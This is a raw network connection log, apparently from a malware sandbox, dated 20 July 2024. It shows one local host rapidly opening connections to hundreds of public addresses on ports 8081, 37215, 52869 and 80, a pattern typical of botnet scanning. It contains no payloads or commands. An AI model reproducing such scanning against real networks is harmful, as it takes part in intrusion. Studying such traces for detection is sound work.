Jul 20, 2024 23:00:59.800271988 CEST	8081	33197	194.103.124.24	192.168.2.23
Jul 20, 2024 23:00:59.800374031 CEST	33197	8081	192.168.2.23	172.147.114.55
Jul 20, 2024 23:00:59.800374031 CEST	33197	8081	192.168.2.23	80.204.209.177
Jul 20, 2024 23:00:59.800374031 CEST	46612	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.800374031 CEST	60290	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.800374031 CEST	43548	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.800374031 CEST	42880	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.800374031 CEST	33197	8081	192.168.2.23	207.118.161.62
Jul 20, 2024 23:00:59.800525904 CEST	33197	8081	192.168.2.23	73.30.213.38
Jul 20, 2024 23:00:59.800525904 CEST	33197	8081	192.168.2.23	134.187.176.205
Jul 20, 2024 23:00:59.800525904 CEST	52598	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:59.800525904 CEST	54806	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:59.800525904 CEST	47918	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.800525904 CEST	45090	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.800525904 CEST	51744	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.801014900 CEST	44362	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:59.801014900 CEST	50896	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.801014900 CEST	56092	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.801014900 CEST	44266	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.801014900 CEST	37004	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.801014900 CEST	44656	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.801016092 CEST	54398	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.801016092 CEST	45892	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.801062107 CEST	8081	33197	175.135.143.150	192.168.2.23
Jul 20, 2024 23:00:59.801352024 CEST	8081	33197	163.127.217.224	192.168.2.23
Jul 20, 2024 23:00:59.801778078 CEST	48844	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:59.801778078 CEST	36066	37215	192.168.2.23	58.150.96.208
Jul 20, 2024 23:00:59.801778078 CEST	38334	52869	192.168.2.23	207.112.16.238
Jul 20, 2024 23:00:59.801939011 CEST	8081	33197	210.167.161.160	192.168.2.23
Jul 20, 2024 23:00:59.802845955 CEST	49668	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:59.802845955 CEST	48434	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:59.802845955 CEST	39730	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:59.802845955 CEST	49146	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:59.802845955 CEST	41980	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:59.802845955 CEST	58022	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:59.802845955 CEST	44520	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.802845955 CEST	44778	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.803587914 CEST	8081	33197	66.167.155.48	192.168.2.23
Jul 20, 2024 23:00:59.803972960 CEST	8081	33197	12.233.70.90	192.168.2.23
Jul 20, 2024 23:00:59.805833101 CEST	8081	33197	27.56.146.244	192.168.2.23
Jul 20, 2024 23:00:59.805999994 CEST	8081	33197	167.178.201.41	192.168.2.23
Jul 20, 2024 23:00:59.806341887 CEST	59176	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.806341887 CEST	33666	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.806341887 CEST	46412	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.806341887 CEST	33197	8081	192.168.2.23	210.163.165.69
Jul 20, 2024 23:00:59.806341887 CEST	33197	8081	192.168.2.23	197.59.70.128
Jul 20, 2024 23:00:59.806341887 CEST	33197	8081	192.168.2.23	197.0.239.213
Jul 20, 2024 23:00:59.806341887 CEST	33197	8081	192.168.2.23	39.48.56.62
Jul 20, 2024 23:00:59.806341887 CEST	33197	8081	192.168.2.23	13.251.39.141
Jul 20, 2024 23:00:59.807560921 CEST	33197	8081	192.168.2.23	70.145.32.138
Jul 20, 2024 23:00:59.807560921 CEST	33197	8081	192.168.2.23	113.223.5.100
Jul 20, 2024 23:00:59.807560921 CEST	33197	8081	192.168.2.23	128.55.53.203
Jul 20, 2024 23:00:59.808161020 CEST	35928	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	79.56.139.39
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	136.238.175.249
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	160.126.107.170
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	221.230.84.174
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	90.14.73.22
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	195.167.115.164
Jul 20, 2024 23:00:59.808161020 CEST	33197	8081	192.168.2.23	130.152.94.247
Jul 20, 2024 23:00:59.808340073 CEST	80	48844	95.185.211.152	192.168.2.23
Jul 20, 2024 23:00:59.809849024 CEST	54078	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	54.65.182.196
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	62.147.99.28
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	37.101.29.184
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	8.117.185.116
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	100.242.150.111
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	140.47.57.23
Jul 20, 2024 23:00:59.809849024 CEST	33197	8081	192.168.2.23	82.70.126.104
Jul 20, 2024 23:00:59.812633038 CEST	33197	8081	192.168.2.23	17.70.6.73
Jul 20, 2024 23:00:59.812633038 CEST	33197	8081	192.168.2.23	49.214.76.121
Jul 20, 2024 23:00:59.812633038 CEST	33197	8081	192.168.2.23	94.147.150.138
Jul 20, 2024 23:00:59.812633038 CEST	33197	8081	192.168.2.23	122.146.206.113
Jul 20, 2024 23:00:59.812633038 CEST	33197	8081	192.168.2.23	210.63.251.213
Jul 20, 2024 23:00:59.812633991 CEST	33197	8081	192.168.2.23	126.240.76.33
Jul 20, 2024 23:00:59.812633991 CEST	58886	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.812633991 CEST	54604	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.812911034 CEST	58612	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.812911034 CEST	38348	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.812911034 CEST	33197	8081	192.168.2.23	119.124.181.138
Jul 20, 2024 23:00:59.812911987 CEST	33197	8081	192.168.2.23	198.242.14.247
Jul 20, 2024 23:00:59.812911987 CEST	33197	8081	192.168.2.23	95.92.211.158
Jul 20, 2024 23:00:59.812911987 CEST	33197	8081	192.168.2.23	47.251.51.158
Jul 20, 2024 23:00:59.812911987 CEST	53884	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.812911987 CEST	42340	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	153.9.136.91
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	41.39.74.101
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	189.153.41.55
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	185.169.58.71
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	160.213.170.132
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	94.97.201.2
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	129.49.25.7
Jul 20, 2024 23:00:59.813930035 CEST	33197	8081	192.168.2.23	198.230.225.78
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	195.181.54.162
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	117.84.74.188
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	125.8.19.231
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	23.175.57.112
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	195.183.48.207
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	126.67.221.82
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	45.210.142.17
Jul 20, 2024 23:00:59.814533949 CEST	33197	8081	192.168.2.23	60.12.45.36
Jul 20, 2024 23:00:59.816276073 CEST	38556	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	31.213.33.171
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	37.53.225.49
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	112.79.196.214
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	125.90.255.96
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	95.171.46.36
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	45.210.13.85
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	186.26.102.16
Jul 20, 2024 23:00:59.816736937 CEST	33197	8081	192.168.2.23	32.90.69.74
Jul 20, 2024 23:00:59.817543983 CEST	44656	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.817543983 CEST	45110	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.817543983 CEST	48578	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.817543983 CEST	56348	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.817544937 CEST	52218	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.817544937 CEST	36036	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.817544937 CEST	33256	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.818597078 CEST	8081	33197	73.30.213.38	192.168.2.23
Jul 20, 2024 23:00:59.818725109 CEST	8081	33197	134.187.176.205	192.168.2.23
Jul 20, 2024 23:00:59.820627928 CEST	47566	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.820627928 CEST	43888	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.820627928 CEST	50488	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.820627928 CEST	60130	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.820627928 CEST	38248	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.820627928 CEST	60418	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.820627928 CEST	34600	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.820627928 CEST	52116	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.821235895 CEST	46210	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.821235895 CEST	33197	8081	192.168.2.23	150.30.166.70
Jul 20, 2024 23:00:59.821235895 CEST	33197	8081	192.168.2.23	123.175.228.39
Jul 20, 2024 23:00:59.821235895 CEST	33197	8081	192.168.2.23	8.132.88.240
Jul 20, 2024 23:00:59.821235895 CEST	33197	8081	192.168.2.23	1.192.22.160
Jul 20, 2024 23:00:59.821235895 CEST	33197	8081	192.168.2.23	8.44.21.242
Jul 20, 2024 23:00:59.821237087 CEST	33197	8081	192.168.2.23	19.15.150.226
Jul 20, 2024 23:00:59.821237087 CEST	33197	8081	192.168.2.23	172.132.51.28
Jul 20, 2024 23:00:59.821436882 CEST	33197	8081	192.168.2.23	101.208.199.62
Jul 20, 2024 23:00:59.822519064 CEST	33197	8081	192.168.2.23	207.221.243.14
Jul 20, 2024 23:00:59.822519064 CEST	33197	8081	192.168.2.23	95.219.220.132
Jul 20, 2024 23:00:59.823115110 CEST	45776	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:59.823738098 CEST	8081	38556	221.201.2.177	192.168.2.23
Jul 20, 2024 23:00:59.823822021 CEST	38556	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:00:59.824220896 CEST	44568	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.824220896 CEST	33197	8081	192.168.2.23	83.168.83.170
Jul 20, 2024 23:00:59.824220896 CEST	33197	8081	192.168.2.23	178.152.86.89
Jul 20, 2024 23:00:59.824220896 CEST	33197	8081	192.168.2.23	121.202.7.54
Jul 20, 2024 23:00:59.824220896 CEST	33197	8081	192.168.2.23	84.171.44.151
Jul 20, 2024 23:00:59.824220896 CEST	33197	8081	192.168.2.23	146.247.184.99
Jul 20, 2024 23:00:59.824222088 CEST	33197	8081	192.168.2.23	54.171.48.173
Jul 20, 2024 23:00:59.824222088 CEST	33197	8081	192.168.2.23	167.189.37.76
Jul 20, 2024 23:00:59.826293945 CEST	54818	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	139.113.239.133
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	183.220.7.1
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	114.118.70.230
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	149.109.120.146
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	189.159.212.109
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	168.3.21.0
Jul 20, 2024 23:00:59.826293945 CEST	33197	8081	192.168.2.23	58.113.168.68
Jul 20, 2024 23:00:59.827852964 CEST	33197	8081	192.168.2.23	72.104.197.237
Jul 20, 2024 23:00:59.827853918 CEST	48042	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.827853918 CEST	51716	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.827853918 CEST	35832	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.827853918 CEST	33197	8081	192.168.2.23	103.98.94.163
Jul 20, 2024 23:00:59.827853918 CEST	33197	8081	192.168.2.23	163.195.198.197
Jul 20, 2024 23:00:59.827853918 CEST	33197	8081	192.168.2.23	107.130.217.180
Jul 20, 2024 23:00:59.827853918 CEST	33197	8081	192.168.2.23	99.16.251.54
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	219.207.234.154
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	125.14.231.29
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	81.48.152.180
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	104.71.254.91
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	50.109.65.162
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	14.173.24.196
Jul 20, 2024 23:00:59.828516006 CEST	33197	8081	192.168.2.23	157.59.94.44
Jul 20, 2024 23:00:59.828516960 CEST	33197	8081	192.168.2.23	142.66.99.148
Jul 20, 2024 23:00:59.829164028 CEST	80	45776	95.37.17.184	192.168.2.23
Jul 20, 2024 23:00:59.829288960 CEST	45776	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:59.829835892 CEST	51658	37215	192.168.2.23	43.131.249.62
Jul 20, 2024 23:00:59.830440998 CEST	55818	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:59.830440998 CEST	55818	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:59.831170082 CEST	53670	52869	192.168.2.23	132.102.141.171
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	101.228.38.246
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	75.160.216.69
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	144.29.27.153
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	108.81.245.6
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	201.157.142.191
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	42.161.197.145
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	162.23.149.205
Jul 20, 2024 23:00:59.831617117 CEST	33197	8081	192.168.2.23	139.250.4.153
Jul 20, 2024 23:00:59.832075119 CEST	33197	8081	192.168.2.23	175.135.143.150
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	163.127.217.224
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	210.167.161.160
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	66.167.155.48
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	12.233.70.90
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	27.56.146.244
Jul 20, 2024 23:00:59.833396912 CEST	59334	37215	192.168.2.23	97.43.136.85
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	73.30.213.38
Jul 20, 2024 23:00:59.833396912 CEST	33197	8081	192.168.2.23	134.187.176.205
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	168.38.148.198
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	71.144.229.186
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	37.114.234.249
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	13.69.218.224
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	194.103.124.24
Jul 20, 2024 23:00:59.835053921 CEST	33197	8081	192.168.2.23	167.178.201.41
Jul 20, 2024 23:00:59.835053921 CEST	43288	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:59.835053921 CEST	44634	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:59.835261106 CEST	56958	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:59.835956097 CEST	37215	51658	43.131.249.62	192.168.2.23
Jul 20, 2024 23:00:59.835988045 CEST	80	55818	95.67.166.173	192.168.2.23
Jul 20, 2024 23:00:59.836297035 CEST	51658	37215	192.168.2.23	43.131.249.62
Jul 20, 2024 23:00:59.836703062 CEST	43064	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:00:59.837126017 CEST	50770	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:00:59.837404013 CEST	52869	53670	132.102.141.171	192.168.2.23
Jul 20, 2024 23:00:59.837496042 CEST	53670	52869	192.168.2.23	132.102.141.171
Jul 20, 2024 23:00:59.837970972 CEST	44634	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:59.837970972 CEST	48310	52869	192.168.2.23	12.208.124.228
Jul 20, 2024 23:00:59.838107109 CEST	56890	37215	192.168.2.23	197.10.234.194
Jul 20, 2024 23:00:59.840234995 CEST	49060	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:59.840234995 CEST	49060	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:59.840717077 CEST	80	56958	95.67.166.173	192.168.2.23
Jul 20, 2024 23:00:59.840892076 CEST	44634	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:00:59.840910912 CEST	56958	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:00:59.840954065 CEST	37215	59334	97.43.136.85	192.168.2.23
Jul 20, 2024 23:00:59.841000080 CEST	59334	37215	192.168.2.23	97.43.136.85
Jul 20, 2024 23:00:59.841491938 CEST	36012	52869	192.168.2.23	205.187.52.139
Jul 20, 2024 23:00:59.842226028 CEST	8081	43064	132.111.233.192	192.168.2.23
Jul 20, 2024 23:00:59.842274904 CEST	43064	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:00:59.842477083 CEST	8081	50770	100.168.243.228	192.168.2.23
Jul 20, 2024 23:00:59.842510939 CEST	50770	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:00:59.842771053 CEST	80	43288	95.144.250.151	192.168.2.23
Jul 20, 2024 23:00:59.842817068 CEST	43288	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:59.842870951 CEST	80	44634	95.37.17.184	192.168.2.23
Jul 20, 2024 23:00:59.843116999 CEST	54398	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:00:59.843399048 CEST	52869	48310	12.208.124.228	192.168.2.23
Jul 20, 2024 23:00:59.843446016 CEST	48310	52869	192.168.2.23	12.208.124.228
Jul 20, 2024 23:00:59.843482971 CEST	37215	56890	197.10.234.194	192.168.2.23
Jul 20, 2024 23:00:59.843646049 CEST	56890	37215	192.168.2.23	197.10.234.194
Jul 20, 2024 23:00:59.844439030 CEST	50202	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:59.845451117 CEST	80	49060	95.67.33.66	192.168.2.23
Jul 20, 2024 23:00:59.845877886 CEST	80	44634	95.37.17.184	192.168.2.23
Jul 20, 2024 23:00:59.846702099 CEST	35956	37215	192.168.2.23	41.48.165.8
Jul 20, 2024 23:00:59.846968889 CEST	52869	36012	205.187.52.139	192.168.2.23
Jul 20, 2024 23:00:59.847009897 CEST	36012	52869	192.168.2.23	205.187.52.139
Jul 20, 2024 23:00:59.848531961 CEST	58602	52869	192.168.2.23	140.186.145.164
Jul 20, 2024 23:00:59.849432945 CEST	53440	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:59.849432945 CEST	53440	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:59.849519014 CEST	8081	54398	202.129.62.180	192.168.2.23
Jul 20, 2024 23:00:59.849565983 CEST	54398	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:00:59.850474119 CEST	80	50202	95.67.33.66	192.168.2.23
Jul 20, 2024 23:00:59.850518942 CEST	50202	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:00:59.851963997 CEST	37215	35956	41.48.165.8	192.168.2.23
Jul 20, 2024 23:00:59.852008104 CEST	35956	37215	192.168.2.23	41.48.165.8
Jul 20, 2024 23:00:59.852523088 CEST	57126	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:00:59.853425026 CEST	56940	37215	192.168.2.23	41.144.198.102
Jul 20, 2024 23:00:59.853574038 CEST	54578	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:59.853684902 CEST	52869	58602	140.186.145.164	192.168.2.23
Jul 20, 2024 23:00:59.853727102 CEST	58602	52869	192.168.2.23	140.186.145.164
Jul 20, 2024 23:00:59.854717970 CEST	80	53440	95.180.44.181	192.168.2.23
Jul 20, 2024 23:00:59.858736038 CEST	8081	57126	221.218.195.172	192.168.2.23
Jul 20, 2024 23:00:59.858803034 CEST	57126	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:00:59.859709024 CEST	37215	56940	41.144.198.102	192.168.2.23
Jul 20, 2024 23:00:59.859747887 CEST	56940	37215	192.168.2.23	41.144.198.102
Jul 20, 2024 23:00:59.860730886 CEST	51572	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:59.860730886 CEST	51572	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:59.860971928 CEST	80	54578	95.180.44.181	192.168.2.23
Jul 20, 2024 23:00:59.861021996 CEST	54578	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:00:59.861895084 CEST	40644	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:00:59.862222910 CEST	44954	52869	192.168.2.23	60.99.150.220
Jul 20, 2024 23:00:59.865953922 CEST	59370	37215	192.168.2.23	190.161.188.69
Jul 20, 2024 23:00:59.866329908 CEST	52706	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:59.871541023 CEST	35784	52869	192.168.2.23	103.18.195.93
Jul 20, 2024 23:00:59.872467041 CEST	80	51572	95.180.177.183	192.168.2.23
Jul 20, 2024 23:00:59.872596025 CEST	42310	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:59.872596025 CEST	42310	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:59.873178959 CEST	43544	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:00:59.874550104 CEST	49432	37215	192.168.2.23	157.146.94.28
Jul 20, 2024 23:00:59.874592066 CEST	8081	40644	212.120.55.123	192.168.2.23
Jul 20, 2024 23:00:59.874651909 CEST	40644	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:00:59.875004053 CEST	52869	44954	60.99.150.220	192.168.2.23
Jul 20, 2024 23:00:59.875174046 CEST	44954	52869	192.168.2.23	60.99.150.220
Jul 20, 2024 23:00:59.876373053 CEST	43438	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:59.876965046 CEST	80	55818	95.67.166.173	192.168.2.23
Jul 20, 2024 23:00:59.877021074 CEST	37215	59370	190.161.188.69	192.168.2.23
Jul 20, 2024 23:00:59.877048016 CEST	80	52706	95.180.177.183	192.168.2.23
Jul 20, 2024 23:00:59.877159119 CEST	59370	37215	192.168.2.23	190.161.188.69
Jul 20, 2024 23:00:59.877319098 CEST	52706	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:00:59.878618002 CEST	52869	35784	103.18.195.93	192.168.2.23
Jul 20, 2024 23:00:59.878654003 CEST	35784	52869	192.168.2.23	103.18.195.93
Jul 20, 2024 23:00:59.878881931 CEST	80	42310	95.53.118.65	192.168.2.23
Jul 20, 2024 23:00:59.878967047 CEST	8081	43544	88.53.96.249	192.168.2.23
Jul 20, 2024 23:00:59.879009962 CEST	43544	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:00:59.879935026 CEST	49520	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:00:59.880023956 CEST	43862	52869	192.168.2.23	209.154.77.145
Jul 20, 2024 23:00:59.880055904 CEST	37215	49432	157.146.94.28	192.168.2.23
Jul 20, 2024 23:00:59.880182981 CEST	49432	37215	192.168.2.23	157.146.94.28
Jul 20, 2024 23:00:59.881058931 CEST	55118	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:59.881058931 CEST	55118	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:59.881779909 CEST	80	43438	95.53.118.65	192.168.2.23
Jul 20, 2024 23:00:59.881827116 CEST	43438	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:00:59.882983923 CEST	59564	37215	192.168.2.23	157.198.81.69
Jul 20, 2024 23:00:59.885839939 CEST	8081	49520	79.211.170.14	192.168.2.23
Jul 20, 2024 23:00:59.885932922 CEST	52869	43862	209.154.77.145	192.168.2.23
Jul 20, 2024 23:00:59.885946035 CEST	56244	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:59.885981083 CEST	43862	52869	192.168.2.23	209.154.77.145
Jul 20, 2024 23:00:59.886006117 CEST	49520	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:00:59.886125088 CEST	80	55118	95.249.27.14	192.168.2.23
Jul 20, 2024 23:00:59.888808966 CEST	80	49060	95.67.33.66	192.168.2.23
Jul 20, 2024 23:00:59.888931036 CEST	36084	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:00:59.889269114 CEST	41022	52869	192.168.2.23	57.224.40.86
Jul 20, 2024 23:00:59.889875889 CEST	36270	37215	192.168.2.23	41.50.145.107
Jul 20, 2024 23:00:59.890010118 CEST	37215	59564	157.198.81.69	192.168.2.23
Jul 20, 2024 23:00:59.890055895 CEST	39014	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:59.890055895 CEST	39014	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:59.890069962 CEST	59564	37215	192.168.2.23	157.198.81.69
Jul 20, 2024 23:00:59.891524076 CEST	80	56244	95.249.27.14	192.168.2.23
Jul 20, 2024 23:00:59.891602993 CEST	56244	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:00:59.892184973 CEST	80	51832	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:59.892345905 CEST	51832	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:59.893399000 CEST	8081	54936	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.893443108 CEST	54936	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.894179106 CEST	8081	36084	213.137.199.164	192.168.2.23
Jul 20, 2024 23:00:59.894213915 CEST	36084	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:00:59.894720078 CEST	40134	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:59.894742012 CEST	52869	41022	57.224.40.86	192.168.2.23
Jul 20, 2024 23:00:59.894793034 CEST	41022	52869	192.168.2.23	57.224.40.86
Jul 20, 2024 23:00:59.895247936 CEST	37215	36270	41.50.145.107	192.168.2.23
Jul 20, 2024 23:00:59.895391941 CEST	36270	37215	192.168.2.23	41.50.145.107
Jul 20, 2024 23:00:59.895833015 CEST	80	39014	95.197.154.83	192.168.2.23
Jul 20, 2024 23:00:59.896064043 CEST	40754	8081	192.168.2.23	48.252.220.101
